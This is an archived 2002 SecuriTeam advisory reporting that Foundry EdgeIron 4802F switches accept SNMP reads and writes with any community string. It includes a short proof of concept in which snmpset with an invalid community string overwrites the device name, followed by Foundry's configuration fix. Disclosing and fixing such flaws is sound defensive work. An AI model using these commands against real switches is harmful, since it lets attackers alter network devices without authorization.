

[NEWS] Default SNMP Configuration Issue with Foundry Networks Edgelron 4802F

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-03/0087.html>

From: support@securiteam.com

Date: 03/22/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 22 Mar 2002 11:47:13 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Default SNMP Configuration Issue with Foundry Networks EdgeIron 4802F

SUMMARY

The <<http://www.foundrynet.com/products/l23wiringcloset/edgeiron/>> EdgeIron family of Layer 2 switches is designed to provide wire-speed performance, superior port density, and complete standard Layer 2 feature sets at an aggressive price for Enterprise users. A security vulnerability in the product allows remote attackers to overwrite and read sensitive information written in the switch's configuration file by accessing it via SNMP.

DETAILS

Foundry Networks EdgeIron 4802F Fast Ethernet switches have a default SNMP configuration that allows SNMP requests to the switch with any community string to be granted read or write access. All that is required is IP access to the switch.

Example:

```
[prophecy@loki ~]$ snmpget 10.1.1.120 public system.sysName
```

```
system.sysName.0 =
```

```
[prophecy@loki ~]$
```

```
[prophecy@loki ~]$ snmpset 10.1.1.120 totallyinvalidcommunitystring
```

Securiteam: [NEWS] Default SNMP Configuration Issue with Foundry Networks Edgelron 4802F

```
system.sysName s "0wned"  
system.sysName.0 = 0wned  
[prophecy@loki ~]$
```

Solution:

The fix from Foundry is to issue the following commands:

```
EdgeIron(config)#  
EdgeIron(config)#snmp-server security  
EdgeIron(config)#  
EdgeIron(config)#snmp-server user <name> <community-string> <ip-address>
```

This then allows the specified IP to talk to the switch with that community string. Requests from other IP's are ignored and the 'snmp-server security' option basically turns on the checking of SNMPv1 community strings.

ADDITIONAL INFORMATION

The information has been provided by <mailto:advisory@prophecy.net.nz>
advisory@prophecy.net.nz.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] Penguin TraceRoute Allows Remote Command Execution"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)